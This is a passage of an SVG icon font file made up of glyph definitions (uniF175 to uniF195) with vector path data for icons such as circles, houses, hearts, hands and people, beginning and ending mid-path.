59h152q-3 -25 -3 -57v-54zM603 194q3 26 3 89v409q0 62 -3 85h149q-3 -25 -3 -82 v-404q0 -67 3 -97h-149zM274 784q64 0 119 -32q63 0 146 32v-135q-18 -7 -53 -15q11 -30 11 -56q0 -84 -50.5 -146.5t-130.5 -74.5q-53 -8 -53 -56q0 -18 17 -35q23 -25 66 -31q188 -29 188 -156q0 -204 -243 -204q-100 0 -164 35q-82 45 -82 141q0 110 122 151v3 q-44 27 -44 84q0 73 42 92v2q-42 15 -75 66q-37 55 -37 118q0 95 67 158q64 59 154 59zM279 663q-83 0 -83 -97q0 -91 83 -91q80 0 80 92q0 38 -18 66q-23 30 -62 30zM288 128q-106 0 -106 -69q0 -68 115 -68q101 0 101 70q0 67 -110 67zM769 977q0 -26 -12 -49t-33 -36 t-46 -13t-46 13t-33 36t-12 49q0 41 26.5 69.5t64.5 28.5t64.5 -28.5t26.5 -69.5z" /> <glyph glyph-name="uniF175" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 1010q-109 0 -208 -42.5t-170.5 -114t-114 -170.5t-42.5 -208t42.5 -208t114 -170.5t170.5 -114 t208 -42.5t208 42.5t170.5 114t114 170.5t42.5 208t-42.5 208t-114 170.5t-170.5 114t-208 42.5zM335 853q76 -4 135 -53q117 32 246 2q15 13 49 30.5t85 20.5q11 -27 14.5 -61.5t-4.5 -65.5q55 -56 58 -151q-1 -74 -27 -124t-91 -81q-46 -21 -117 -27q32 -16 47 -34t19 -55 q2 -22 2 -72.5t2 -72.5q5 -11 15.5 -19t17.5 -12t4 -10.5t-19 -7.5q-40 0 -63 29q-7 11 -7 27v112q0 20 -9 28t-19 11v-148q0 -40 10 -52q9 -12 12 -22q0 -4 -5.5 -5t-20.5 3q-29 7 -41 32t-12 52v145h-30v-145q0 -27 -12 -52q-7 -14 -25 -24t-37 -11q-5 1 -5 5t2.5 7.5 t5.5 8t5 6.5q2 5 5.5 19t3.5 33v148q-9 -3 -17.5 -11t-8.5 -28v-112q0 -16 -7 -27q-21 -28 -63 -29q-16 1 -19 7q-2 5 2 9t11 8t8 6q11 8 16 19q6 10 3 49.5t-1 52.5q-33 -11 -65 -4.5t-60 25.5q-19 17 -37 54q-14 26 -56 60q-5 4 0 8q8 10 22.5 8.5t16.5 -3.5 q16 -7 36.5 -32.5t30.5 -33.5q26 -21 57 -24t60 16q3 12 8 21t16 16.5t17.5 10.5t24.5 12q-76 5 -124 25t-76 51q-38 43 -46.5 111t11.5 124q14 35 39 63q-19 59 7 134z" /> <glyph glyph-name="uniF176" unicode="" d="M0 1027h1200l-504 -503v-494h185v-107h-562v107h185v494z" /> <glyph glyph-name="uniF177" unicode="" d="M1119 482h-387l50 -228h313zM466 482h-386l24 -228h312zM1189 549q13 -14 11 -31l-34 -307q-3 -16 -13.5 -26t-24.5 -10h-376q-32 2 -37 32l-61 267q-47 30 -110 3l-60 -270q-8 -32 -37 -32h-376q-16 1 -26 11t-11 25l-34 307q-2 18 9 31l433 222q16 7 29.5 1.5 t20.5 -19.5q6 -15 1.5 -31t-18.5 -22l-274 -124h793l-274 124q-15 8 -20 23.5t2 29.5q8 15 22.5 20t28.5 -2z" /> <glyph glyph-name="uniF178" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM595 921q-73 0 -139 -21q32 -17 73.5 -31t82.5 -14q29 -1 61 20q33 22 91 10q10 -2 16 -3q-42 19 -88 29 t-97 10zM336 830q-7 0 -14 -1q-68 -52 -113 -125t-58 -161q24 -34 55 -52.5t79 -34.5t68 -25q6 -8 19 -18t17 -14q0 -6 -3 -18q-2 -25 2 -46.5t10 -33.5t19 -33.5t19 -33.5q3 -7 1 -16q-2 -20 -10.5 -78.5t-10.5 -90.5q49 -29 92 -31q5 9 9 21q5 10 11.5 25t16.5 33 q0 18 5.5 31t11.5 22q7 9 16 17q24 16 43 35.5t22 30.5q10 37 10 84q0 12 -9.5 21.5t-24.5 18.5q-21 9 -55 41.5t-52 39.5q-19 8 -39 9.5t-37 -1.5t-39 -1q-5 7 -9 8q-12 5 -4 12q5 11 -2.5 14t-17.5 1q-9 27 -11 44q17 -14 29.5 -20.5t20.5 -9.5q10 -3 16 -2q13 3 15 21.5 t-2 52.5q4 5 5 10q5 20 12.5 26.5t7.5 8.5q4 0 4 2q5 4 20 6l12 2q5 2 11 4q10 5 5 13q-1 0 -1 0.5t-2 0.5q21 11 44 48q-16 24 -45 39q-8 12 -23 7q-7 0 -17 7t-14 9q-6 2 -15 4q-17 11 -32 25.5t-24 31.5q-6 13 -22 17q-11 3 -22 3zM884 817q-43 -5 -90 -19t-62 -35 q-14 -23 -20 -38q-2 -10 -4.5 -22t-3.5 -16.5t-3.5 -12t-7 -14t-11.5 -16.5q-4 -5 -4 -13t7 -23q6 -11 6 -21q36 2 46 12l84 -8q16 18 33.5 17.5t32.5 -17.5q10 -9 21 -30l-34 -24q-23 14 -39 21t-34 8.5t-28 1t-36.5 -3.5t-42.5 -5q-2 -5 -5 -10q-3 -3 -7 -6.5t-10 -5.5 q-1 -3 -1 -12q0 -3 -1 -7q-24 -35 -17 -78q6 -31 24 -48q11 -9 23 -13t22 -3t24 1t25 -3q10 -3 11 -5q-6 -15 -4 -24q1 -6 8 -24t7 -28q-1 -6 -2 -15t-1.5 -15.5t-0.5 -14.5t1 -15t3 -14q6 -13 16 -39.5t16 -38.5q5 -12 16 -14q24 -4 57 30q24 28 28 60q2 12 10 26 q7 15 11 30q2 8 0 16q15 28 15 47q0 12 2 18q2 3 11.5 11.5t13.5 13.5q7 27 3 37q-1 3 -6 5l-20 7q6 12 17.5 19t23.5 4l38 12v8q0 106 -43 195t-118 151z" /> <glyph glyph-name="uniF179" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM451 912q-75 -25 -140 -77q22 3 44 1q20 -8 45 -37.5t40 -38.5q5 -3 15 -4q4 -11 28 -15t27 -9q29 -15 45 -39 q-1 -1 -5.5 -7.5t-5.5 -8.5t-5 -7t-6.5 -7.5t-6 -6.5t-7 -6.5t-7.5 -4.5q0 -1 0.5 -1t0.5 -1q5 -8 -4 -13q-9 -3 -23.5 -6.5t-21 -6t-13.5 -11.5t-10 -25q-1 -5 -5 -10q4 -33 2 -58t-16 -28q-6 -1 -15 3q-9 2 -21.5 9t-30.5 21q1 -7 6 -18t6 -16h7q7 3 12.5 -2.5t0.5 -11.5 l-3 -6l-1 -3l8 -4q12 -10 22 -10.5t28 2.5q15 5 31.5 2.5t27 -6t24 -12.5t22.5 -16t22 -17.5t23 -17.5q4 -3 25 -15.5t32 -23.5t11 -24q-1 -32 -2 -45.5t-8 -34.5t-21 -36l-27.5 -22t-28 -25.5t-17.5 -27.5q-5 -13 -5 -32q-7 -11 -13.5 -24.5t-13 -28t-11.5 -23.5 q119 -23 232 15t194 126q60 64 91 144t34 166l-46 -28q-28 5 -29 -7l19 -8q5 -2 6 -5q4 -11 -5 -26q-7 -14 -35 -42q-2 -30 -6 -39q-4 -12 -10 -25v-16q-2 -10 -11 -28.5t-11 -28.5q-3 -33 -29 -61q-34 -34 -56 -30q-12 3 -17 14q-6 15 -18 43.5t-15 35.5q-4 11 -4 23 t2.5 28t2.5 23q1 12 -7 30t-9 24q-2 8 4 24q0 1 -10.5 3.5t-37.5 2.5h-10h-4q-54 0 -68 65q-7 42 17 80q1 3 1 9.5t1 9.5q11 2 20 21q9 1 25 3.5t30 4.5t29.5 3.5t29 0t22.5 -6.5q9 -6 18 -11q18 -11 30 -15l36 24q-12 20 -22 30q-34 39 -68 0l-83 8q-17 -13 -47 -13 q-2 13 -6 21q-8 16 -8.5 24t3.5 13t9 9q7 5 11 15t5.5 19t3.5 20.5t4 17.5q6 16 20 39q9 15 28 25t41.5 16.5t46.5 9.5t45 4q-44 38 -91 63q-13 1 -38 6t-35 6q-25 3 -58 -17q-25 -19 -61 -19q-44 0 -89 16t-78 33zM145 557q-10 -64 -3 -129t32 -128q35 -87 100 -152.5 t151 -101.5q2 22 6.5 81t9.5 92q-4 19 -27 61t-25 68q-1 25 1 36.5t2 17.5q-4 3 -11.5 9.5t-11.5 9.5q-9 9 -14 12q-12 5 -40 14.5t-40.5 14.5t-33 14t-36.5 20.5t-32.5 26.5t-27.5 34z" /> <glyph glyph-name="uniF17A" unicode="" d="M0 1075h1200v-326h-221v222h-96v-222h-222v-92h222v-224h96v224h221v-782h-532q23 88 -7 157q-31 69 -100 128q-33 29 -123 99q-46 33 -47 75q1 15 4.5 26.5t12 23t14 17.5t18.5 19q68 53 99 99q43 63 43 150q-1 79 -38 142q-23 40 -68 81h106l99 79h-370 q-89 0 -173 -27.5t-138 -79.5v211zM219 910q56 1 98 -31q81 -69 110 -187q22 -93 3 -154q-13 -35 -36 -61t-53 -35q-40 -12 -85 -7t-76 27q-76 59 -103 167q-19 83 -6 163q16 70 84 103q30 14 64 15zM0 429q107 -80 244 -63q-34 -81 1 -137q18 -27 35 -51q-25 -1 -61 -1 q-47 -2 -78.5 -5t-72 -15t-68.5 -33v305zM297 130q22 0 42 -3q16 -12 75.5 -53t88.5 -65q64 -56 65 -115q0 -11 -2 -19h-566v151q61 69 172 90q98 14 125 14z" /> <glyph glyph-name="uniF17B" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM251 739v-528h698v528h-698zM337 654h526v-358h-526v358zM785 626l-90 -156l-42 88l-27 55l-33 -51l-73 -115 l-31 32l-22 23l-24 -21l-87 -72l44 -52l62 52l38 -40l30 -32l24 37l64 100l43 -92l28 -58l33 56l122 212z" /> <glyph glyph-name="uniF17C" unicode="" d="M0 929h1200v-908h-1200v908zM148 783v-616h904v616h-904zM917 734l102 -58l-210 -364l-55 -96l-48 100l-75 156l-111 -171l-40 -63l-51 54l-66 69l-107 -89l-75 90l149 124l42 35l38 -40l52 -54l127 197l56 89l46 -95l72 -151z" /> <glyph glyph-name="uniF17D" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM599 741q-43 -2 -74 -30.5t-41 -68.5q-16 -55 9 -111q18 -36 49 -56l-45 -22l-118 -54q-18 -8 -18 -30v-110 q0 -14 1 -23.5t7.5 -18t19.5 -8.5h420q10 2 16 6.5t8 13.5t2 13v17v110q0 22 -17 29l-114 55l-48 23q44 28 60 90q8 36 -1 72q-6 22 -17 40.5t-26 32.5t-34 22t-39 8zM403 691q-44 -3 -70.5 -37.5t-26.5 -76.5q3 -71 53 -102l-133 -61q-14 -6 -14 -24v-105q1 -10 7 -18 t15 -8h88v110q0 22 10.5 39.5t28.5 26.5l89 41q12 7 19 17q-15 23 -23.5 50.5t-8.5 57.5q0 20 4 39t10 35q-21 16 -48 16zM797 691q-26 0 -51 -17q14 -36 14 -73q0 -59 -32 -107q10 -10 24.5 -19t25.5 -14t30 -13t28 -13q18 -9 29 -26.5t11 -39.5v-110h90q10 1 15.5 8.5 t6.5 17.5v105q0 17 -14 24l-130 62q49 36 50 101q-2 45 -29.5 79t-67.5 35z" /> <glyph glyph-name="uniF17E" unicode="" d="M597 887q77 0 132 -64t55 -155q0 -40 -12 -77t-33.5 -65.5t-49.5 -47.5l73 -35l176 -84q26 -14 26 -45v-202q0 -12 -4.5 -22.5t-14 -17.5t-23.5 -9h-649q-18 1 -29 15.5t-12 33.5v202q0 31 26 45l183 84l68 32q-29 18 -51.5 47.5t-35 67t-12.5 78.5q0 59 25 109.5t68 80 t94 29.5zM295 810q37 -1 75 -24q-27 -68 -20 -143t48 -139q-14 -16 -30 -25l-136 -65q-59 -27 -63 -100v-171h-136q-10 0 -17.5 5.5t-11 14.5t-4.5 20v161q0 29 21 37l205 95q-38 24 -59 66t-23 92q1 69 45 124q42 49 106 52zM904 810q60 -1 107 -52q43 -50 45 -124 q-1 -46 -21 -87t-59 -69l203 -97q21 -11 21 -37v-161q0 -16 -8.5 -27.5t-24.5 -12.5h-140v171q-1 67 -61 100l-131 62q-19 11 -36 31q39 60 46 133.5t-19 142.5q37 26 78 27z" /> <glyph glyph-name="uniF17F" unicode="" d="M624 689l-136 213q-6 12 -3.5 24t12.5 19q11 6 23 3.5t18 -12.5l136 -215q6 -11 3.5 -23.5t-12.5 -18.5q-11 -5 -23.5 -2t-17.5 12zM1195 649q23 -42 -58 -85q-33 2 -63 6.5t-54 8.5q-27 5 -50 10q-2 -13 -6.5 -27t-11.5 -29q-45 10 -89.5 29t-85 50.5t-63.5 69.5 l164 168l30 106l62 -77q10 -2 34.5 -7.5t37.5 -9.5t28.5 -14.5t21.5 -26.5q8 -12 15.5 -52.5t16.5 -52.5q14 -14 31 -25.5t40 -41.5zM579 293q-19 0 -59 7t-59 7q-33 4 -24 -30l54 -216q-1 -27 -14 -45t-34 -21q-19 -2 -37 11.5t-23 28.5l-70 272q-2 14 -15.5 13.5 t-17.5 -13.5l-64 -271q-6 -19 -20.5 -30.5t-33.5 -11.5q-27 0 -43.5 21t-11.5 46l78 320l7 194q-57 14 -110.5 48.5t-77.5 79.5q-7 16 -2.5 30t18.5 22q16 6 31.5 1.5t22.5 -15.5q23 -38 69.5 -62t86.5 -24h382q-38 -192 -33 -362zM673 633q95 -124 258 -158 q-5 -14 -15.5 -41t-15.5 -39q-5 -18 4 -51q36 -139 75 -282q5 -34 -19 -49t-52.5 -7.5t-35.5 29.5l-56 210q-12 21 -33 22t-28 -22l-50 -209q-12 -30 -41 -32.5t-50.5 16t-16.5 41.5l48 195q1 10 -2 20q2 226 30 357z" /> <glyph glyph-name="uniF180" unicode="" d="M228 1075h415q33 -2 54.5 -24.5t22.5 -52.5v-186q17 -22 43 -47t52 -49.5t43 -45.5q22 -27 48 -42q25 -13 63 -18.5t70.5 -13t54.5 -27.5q18 -48 10 -94.5t-39 -85t-74 -53.5q-92 -32 -204 22q1 -66 -1 -329q-5 -68 -47 -111t-105 -43t-106.5 46.5t-44.5 107.5v129 q-38 7 -69 25q-81 -11 -143 42q-55 3 -93 23.5t-56 51.5t-25 73.5t-3 86t12 93.5t18.5 91.5t18 83.5t8.5 67v203q2 33 24.5 55t52.5 22zM228 798q-1 -18 -7 -50t-14.5 -66t-18 -74t-15.5 -78t-9 -75t3.5 -66.5t21 -50.5t44 -30t71.5 -3q18 -32 57 -42.5t69 9.5 q31 -32 65 -36.5t65 23.5q0 -58 0.5 -115t0.5 -115q1 -33 22 -54t51 -22q33 1 54 23t21 53q0 63 0.5 143t1 158.5t0.5 136.5q25 -3 63 -17.5t70 -26.5t66 -19t64.5 5.5t53.5 47.5q14 30 10 56q-3 5 -5.5 5.5t-8.5 2.5q-41 6 -61.5 10.5t-53 14t-56 25t-42.5 37.5 q-20 26 -57 58.5t-66.5 63t-44.5 65.5v3h-415z" /> <glyph glyph-name="uniF181" unicode="" d="M1200 103q0 -20 -10 -37t-27.5 -28t-39.5 -12h-203q-23 -1 -59 -7.5t-72.5 -14.5t-79.5 -17t-83.5 -13.5t-80.5 -5t-73.5 9.5t-60 29t-43 54.5t-18.5 84.5q-53 62 -42 143q-19 31 -25 69h-129q-61 1 -107.5 44.5t-46.5 106.5t43 105t111 47q263 2 329 1q-54 112 -22 204 q12 32 37 58.5t57 40.5t68.5 16.5t70.5 -12.5q20 -22 27.5 -54.5t13 -70.5t18.5 -63q15 -26 42 -48q24 -19 69 -68t73 -70h186q20 -1 37 -10.5t28 -27t12 -39.5v-415zM923 103v415h-3q-35 15 -65.5 44.5t-63 66.5t-58.5 57q-22 19 -37.5 42.5t-25 56t-14 53t-10.5 61.5 q-2 6 -2.5 8.5t-5.5 5.5q-26 4 -56 -10q-35 -23 -47.5 -53.5t-5.5 -64.5t19 -66t26.5 -70t17.5 -63q-58 0 -136.5 -0.5t-158.5 -1t-143 -0.5q-15 0 -28.5 -5.5t-24 -15t-16.5 -24t-7 -30.5q1 -30 22 -51t54 -22q58 0 115 -0.5t115 -0.5q-28 -31 -23.5 -65t36.5 -65 q-20 -30 -9.5 -69t42.5 -57q-6 -42 3 -71.5t30 -44t50.5 -21t66.5 -3.5t75 9t78 15.5t74 18t66 14.5t50 7z" /> <glyph glyph-name="uniF182" unicode="" d="M0 103v415q1 22 12 39.5t28 27t37 10.5h186q28 21 73 70t69 68q27 22 42 48q13 25 18.5 63t13 70.5t27.5 54.5q67 29 138 -3.5t95 -99.5q32 -92 -22 -204q66 1 329 -1q68 -5 111 -47t43 -105t-46.5 -106.5t-107.5 -44.5h-129q-7 -38 -25 -69q11 -81 -42 -143 q-3 -55 -23.5 -93t-51.5 -56t-73.5 -25t-86 -3t-93.5 12t-91.5 18.5t-83.5 18t-67 8.5h-203q-33 2 -55 24.5t-22 52.5zM277 103q18 -1 50 -7t66 -14.5t74 -18t78 -15.5t75 -9t66.5 3.5t50.5 21t30 44t3 71.5q32 18 42.5 57t-9.5 69q32 31 36.5 65t-23.5 65q58 0 115 0.5 t115 0.5q33 1 54 22t22 51q-1 33 -23 54t-53 21q-63 0 -143 0.5t-158.5 1t-136.5 0.5q3 25 17.5 63t26.5 70t19 66t-5.5 64.5t-47.5 53.5q-30 14 -56 10q-5 -3 -5.5 -5.5t-2.5 -8.5q-6 -41 -10.5 -61.5t-14 -53t-25 -56t-37.5 -42.5q-26 -20 -58.5 -57t-63 -66.5 t-65.5 -44.5h-3v-415z" /> <glyph glyph-name="uniF183" unicode="" d="M228 -125q-30 0 -52.5 22t-24.5 55v203q-1 25 -8.5 67t-18 83.5t-18.5 91.5t-12 93.5t3 86t25 73.5t56 51.5t93 23.5q62 53 143 42q31 19 69 25v129q1 30 12.5 57.5t31 49t47.5 34.5t60 13q63 0 105 -43t47 -111q2 -263 1 -329q112 54 204 22q67 -24 99.5 -95t3.5 -138 q-22 -20 -54.5 -27.5t-70.5 -13t-63 -18.5q-26 -15 -48 -42q-19 -24 -68 -69t-70 -73v-186q-1 -10 -3.5 -19.5t-7 -17.5t-11.5 -15.5t-15.5 -12.5t-18.5 -8t-21 -4h-415zM228 152h415v3q12 27 33.5 53t43 44t48.5 43t43 47q19 22 42.5 37.5t56 25t53 14t61.5 10.5 q6 2 8.5 2.5t5.5 5.5q4 26 -10 56q-23 35 -53.5 47.5t-64.5 5.5t-66 -19t-70 -26.5t-63 -17.5q0 68 -1 214.5t-1 223.5q0 31 -21 53t-54 23q-30 -1 -51 -22t-22 -54q0 -58 -0.5 -115t-0.5 -115q-31 28 -65 23.5t-65 -36.5q-30 20 -69 9.5t-57 -42.5q-42 6 -71.5 -3t-44 -30 t-21 -50.5t-3.5 -66.5t9 -75t15.5 -78t18 -74t14.5 -66t7 -50z" /> <glyph glyph-name="uniF184" unicode="" d="M240 985h720l240 -645l-96 -375h-1008l-96 375zM94 281l65 -257h882l65 257h-1012zM928 201q20 0 34 -14.5t14 -34t-14 -33.5t-34 -14t-34 14t-14 33.5t14 34t34 14.5z" /> <glyph glyph-name="uniF185" unicode="" d="M1050 138v300q0 91 -35.5 174.5t-96 143.5t-143.5 96t-175 36t-175 -36t-143.5 -96t-96 -143.5t-35.5 -174.5v-300q-4 -38 -28 -56t-50.5 -15t-48.5 22.5t-23 48.5v300q0 122 47.5 233t128 191t191.5 128t233 48t233 -48t191.5 -128t128 -191t47.5 -233v-300 q-4 -38 -28 -56t-50.5 -15t-48.5 22.5t-23 48.5zM262 362h76q10 0 18.5 -5t13.5 -13.5t5 -18.5v-375q0 -16 -11 -27t-26 -11h-76q-15 0 -26 11t-11 27v375q0 16 11 26.5t26 10.5zM862 362h76q15 0 26 -10.5t11 -26.5v-375q0 -16 -11 -27t-26 -11h-76q-15 0 -26 11t-11 27 v375q0 16 11 26.5t26 10.5z" /> <glyph glyph-name="uniF186" unicode="" d="M1160 1057q19 -23 19 -49.5t-19 -45.5l-164 -166q-23 -20 -49 -19.5t-46 19.5q-19 22 -19 49.5t19 45.5l165 166q21 18 48 18t46 -18zM340 326q21 18 48 18t46 -18q19 -22 19 -50t-19 -46l-300 -302q-23 -20 -48.5 -19.5t-45.5 19.5q-19 22 -19 49.5t19 45.5zM628 545 q-1 36 -26 60.5t-58 24.5q-36 -2 -60.5 -27t-24.5 -58q-1 -15 -7.5 -26.5t-17.5 -18t-25 -6.5q-23 1 -37 15.5t-14 35.5q3 81 55 133q57 54 131 54q78 -2 131 -54q54 -58 54 -133q-1 -23 -15 -37t-35 -14q-23 1 -36.5 15.5t-14.5 35.5zM544 928q75 -1 143.5 -30t118.5 -79 q52 -55 80 -124t29 -140q-2 -62 -14 -101t-43 -90q-10 -22 -28.5 -46t-39 -48.5t-31.5 -42.5q-7 -22 -8 -47t1 -57.5t1 -50.5q-1 -47 -18.5 -91.5t-47.5 -68.5q-63 -37 -137 -37q-26 2 -42 18.5t-17 41.5q-2 24 16 42q12 12 25 16.5t31 5.5t29 3q29 9 33 21q7 22 7 71 q1 18 0 45.5t-1 51t5 44.5q11 49 36 81q5 6 12 14t13.5 15.5t10.5 13.5q11 14 38 56q7 11 18.5 30.5t16.5 27.5q13 37 13 82q-4 107 -73 178q-78 73 -177 73q-106 -3 -177 -73q-73 -78 -74 -178q-2 -27 -18.5 -44t-40.5 -17q-27 2 -44 19t-17 42q1 76 29.5 144.5t78.5 119.5 q54 52 123 80.5t140 28.5z" /> <glyph glyph-name="uniF187" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM733 731q-37 0 -73 -14q-36 -19 -60 -51q-47 58 -124 64.5t-138 -46.5q-44 -47 -48.5 -119t26.5 -134 q56 -103 227 -233q3 -2 16 -12.5t22.5 -16.5t18.5 -8q14 2 60.5 37t80.5 68q69 58 113 119q39 52 52 113.5t-7 129.5q-23 49 -67.5 76.5t-98.5 26.5z" /> <glyph glyph-name="uniF188" unicode="" d="M832 1029q73 1 139 -24t119 -73.5t84 -115.5l1 -3l1 -3q28 -84 23.5 -170t-33 -162t-77.5 -142v-1v0q-80 -110 -204 -216q-1 0 -1.5 -0.5l-0.5 -0.5q-63 -59 -136 -115q-42 -32 -73 -52q-3 -2 -8.5 -5.5t-9 -5.5t-8.5 -5t-9 -5t-9.5 -3.5t-12 -3t-13.5 -1.5l-7 -1l-7 2 q-34 6 -75 37q-8 6 -17.5 14t-17 14t-11.5 9h-1q-66 50 -118.5 94t-110.5 99t-105 114.5t-79 119.5l-1 1v2q-40 83 -51 172t13 177.5t86 152.5l1 1l2 2q112 96 251 96t242 -89q38 35 84 58l2 2l2 1q72 28 146 29zM834 923q-52 -1 -106 -22q-51 -26 -86 -72l-41 -53l-43 52 q-43 54 -110 78t-140 11.5t-130 -63.5q-43 -45 -59.5 -110t-8 -135t39.5 -136q92 -170 382 -390l1 -1q9 -6 24.5 -19t21.5 -18q10 -7 20 -13q11 5 18 10q26 16 65 46q71 54 130 109l1 1l1 1q116 99 189 199v1q61 82 81.5 176.5t-8.5 198.5q-34 72 -98.5 111.5t-143.5 37.5z " /> <glyph glyph-name="uniF189" unicode="" d="M1177 825q20 -62 22.5 -126t-10.5 -124t-38 -115t-62 -104q-84 -116 -216 -229q-40 -37 -93 -81t-107 -81.5t-74 -39.5q-16 4 -34.5 15.5t-44 32t-30.5 24.5q-70 53 -127.5 101t-118 106t-109.5 120t-82 122q-39 83 -50 170t12 171.5t80 144.5q75 68 171.5 85.5 t185.5 -14.5t147 -104q48 62 117 97q69 27 140 28t131.5 -22t110.5 -68.5t79 -108.5z" /> <glyph glyph-name="uniF18A" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 799l-293 -228v-420h202v254h182v-254h202v420z" /> <glyph glyph-name="uniF18B" unicode="" d="M600 1075l543 -422v-778h-373v469h-340v-469h-373v778z" /> <glyph glyph-name="uniF18C" unicode="" d="M109 1075h53h876h53v-53q0 -72 3 -170q2 -37 2.5 -52.5t-1.5 -40t-2.5 -32.5t-9 -27t-13.5 -25t-22.5 -26t-30 -31.5t-41.5 -38.5q-65 -61 -109 -104q49 -49 118 -113q27 -25 38.5 -35.5t28 -29.5t21 -25t12.5 -25.5t8.5 -27.5t2.5 -33.5t1 -42t-2 -54.5q-4 -94 -4 -161 v-53h-53h-876h-53v53q0 51 -1 104t-3.5 78.5t-0.5 57.5t1.5 43.5t9 34t16.5 30.5t28.5 32.5t40.5 40.5t58 53.5t75 72.5q-49 49 -118 114q-27 25 -38.5 35.5t-28 29.5t-21 25t-12.5 25t-8.5 27t-2.5 34t-1 42t2 55q4 94 4 160v53zM214 970v-23v-73.5t2.5 -55.5t3.5 -44 t9 -33t13 -29.5t21.5 -26.5t28.5 -30.5t39 -35.5q21 -18 33.5 -30t35.5 -34t45 -43l37 -37l-37 -37q-31 -31 -64 -62t-52.5 -47.5t-40.5 -37.5t-31.5 -33.5t-21.5 -34t-15 -40t-6.5 -50t-2 -66.5t2.5 -87h772v23v74t-2.5 55.5t-3.5 43.5t-9 33t-13 29.5t-21.5 26.5t-28.5 30 t-39 35q-67 61 -114 108l-37 37l37 37q31 31 64 62t52.5 47.5t40.5 37.5t31.5 34t21.5 34t15 39.5t6.5 50t2 66.5t-2.5 87h-772zM321 754q76 -11 139.5 -16t101.5 -7t104.5 3t92 7.5t119.5 12.5q-24 -17 -67.5 -43t-72.5 -45t-60 -45.5t-46.5 -59.5t-14.5 -73h-51 q-8 44 -26.5 78.5t-46 60t-54 44t-61.5 41.5t-57 42zM597.5 314.5q72.5 -0.5 135 -24t104.5 -74.5t42 -119h-557q-2 70 39 121t102.5 74t134 22.5z" /> <glyph glyph-name="uniF18D" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM580 853v-120h40v120h-40zM413 817l-33 -23l69 -99l33 24zM787 817l-69 -98l33 -24l69 99zM600 700 q-75 0 -128 -39.5t-53 -95.5l103 -311h156l103 311q0 56 -53 95.5t-128 39.5zM276 664l-14 -38l112 -41l14 38zM924 664l-112 -41l14 -38l112 41zM383 489l-116 -31l11 -39l116 31zM817 489l-11 -39l116 -31l11 39zM520 232v-54h160v54h-160zM520 151v-54h160v54h-160z" /> <glyph glyph-name="uniF18E" unicode="" d="M568 1075h64v-190h-64v190zM304 1018l109 -156l-53 -37l-109 156zM896 1018l53 -37l-109 -156l-53 37zM600 832q119 0 202.5 -62.5t83.5 -151.5l-162 -493h-248l-163 493q0 89 84 151.5t203 62.5zM85 775l179 -65l-22 -61l-179 66zM1115 775l22 -60l-179 -66l-22 61z M256 497l16 -62l-183 -49l-17 62zM944 497l184 -49l-17 -62l-183 49zM473 89h254v-86h-254v86zM473 -39h254v-86h-254v86z" /> <glyph glyph-name="uniF18F" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM527 859v-168h-86l159 -238l159 238h-86v168h-146zM240 485v-347h720v347h-236q0 -51 -36.5 -87t-87.5 -36 t-87.5 36t-36.5 87h-236z" /> <glyph glyph-name="uniF190" unicode="" d="M94 438h206l150 -150h300l150 150h206l-278 374h-456zM329 888h542l329 -450v-376h-1200v376z" /> <glyph glyph-name="uniF191" unicode="" d="M478 1075h244v-280h142l-264 -396l-264 396h142v280zM0 453h394q0 -56 27.5 -103t75 -75t103.5 -28q85 0 145.5 60.5t60.5 145.5h394v-578h-1200v578z" /> <glyph glyph-name="uniF192" unicode="" d="M1200 975v-176h-1200v176h1200zM0 700l338 -225l-338 -225v450zM1200 699v-176h-694v176h694zM1200 425v-175h-694v175h694zM0 151h1200v-176h-1200v176z" /> <glyph glyph-name="uniF193" unicode="" d="M0 975h1200v-176h-1200v176zM1200 700v-450l-338 225zM0 699h694v-176h-694v176zM0 425h694v-175h-694v175zM1200 151v-176h-1200v176h1200z" /> <glyph glyph-name="uniF194" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM581 869q-41 0 -67 -22q-25 -23 -25 -59.5t25 -58.5q26 -22 67 -22t67 22t26 58.5t-26 59t-67 22.5zM667 606 q-38 0 -107 -16.5t-112 -33.5l9 -47l42 8q31 0 31 -41v-295q0 -24 -17 -34q-20 -14 -63 -24l10 -42q99 10 141 10t143 -10l8 42q-41 12 -62 25q-12 6 -16 12q-2 6 -2 21v289q0 60 19 109z" /> <glyph glyph-name="uniF195" unicode="" d="M0 1075h1200v-342h-372q-41 53 -103 84t-133 31q-29 0 -56.5 -5t-53 -15t-48.5 -24.5t-42.5 -32t-36.5 -38.5h-355v342zM960 1024q-30 0 -51 -21t-21 -51v-94q0 -30 21 -51t51 -21h112q30 